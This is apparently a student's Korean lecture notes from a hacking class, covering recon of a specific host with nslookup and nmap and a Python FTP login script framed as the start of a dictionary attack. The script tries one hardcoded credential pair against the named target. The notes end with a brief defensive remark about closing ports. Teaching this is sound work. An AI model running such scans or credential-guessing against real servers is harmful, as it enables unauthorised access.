6일차
hacker ---> target
attack
ip를 찾아야 한다
nslookup을 사용하여
Address: 192.168.0.99에 물어보니
Address: 125.240.93.27라고 대답하였다
핑을 사용하면 ARP와 ICMP가 작동한다
ip를 통해 길을 찾아내고
nmap을 통해 어떤문이 열려있는지 알아내려한다
Target
nslookup virtual.izerone.co.kr
125.240.93.27
패킷 정보가 서버로 넘어간다
port의 범위 : 0~65535 : 65526개
서버에서 쓰는 port범위는 정해져있다
21,22,23,25,53,80,110,143,443,445,3306,5900......
nmap을 사용하니 21,80,1723이와 같은 범위가 나왔다21,80,1723
이 중 공격가능한 번호는 21번이다21,80,1723
21번은 FTP서비스이고(파일을 전송하는 서비스)
80번은 웹이고
21은 파일을 올릴 때 쓰는 번호이기 때문이다
아이디와 비밀번호
IP + Port(0~65535)
21:은 파일을 전송하는 서비스(ID와 비밀번호가 필요하다)
사전을 이용해서 공격하는 해킹프로그램을 만들어보자
네트워크 : 연결
192.168.0.201
255.255.255.0
192.168.0.1
192.168.0.99
168.126.63.1
Target : virtual.izerone.co.kr
IP : 125.240.93.27
nmap확인
결과 : 21,80
21을 사용하는 이유는 FTP서비스(시스템에 저장되어 있는 ID와 비밀번호)
ID와 비밀번호를 찾아 로그인해보자
자동화 프로그램을 이용해보자
d:
cd 2025_py
Attack.py
from ftplib import FTP, error_perm, error_temp, error_reply
import socket
def main():
try:
#에러가 발생할 수 있는 가능성이 있는곳!!
ftp = FTP()
print("start program")
ftp.connect('125.240.93.27',21)
print("서버에 연결되었습니다.")
ftp.login('lsw','123456')
print("ftp 로그인 성공")
except (socket.error, socket.gaierror) as e:
print(f"FTP 서버 연결 오류: {e}")
except error_perm as e:
print(f"권한 오류: {e}")
except error_temp as e:
print(f"임시 오류: {e}")
except error_reply as e:
print(f"서버 응답 오류: {e}")
except Exception as e:
print(f"기타 예외 발생: {e}")
else:
ftp.quit()
print("FTP 연결 종료.")
if __name__ == "__main__":
main()
connect(ip),port)
port를 알면 접속이 가능하기 때문에 모든 대역대를 막아두고 들어올 특정 대역대만 남겨둬야 한다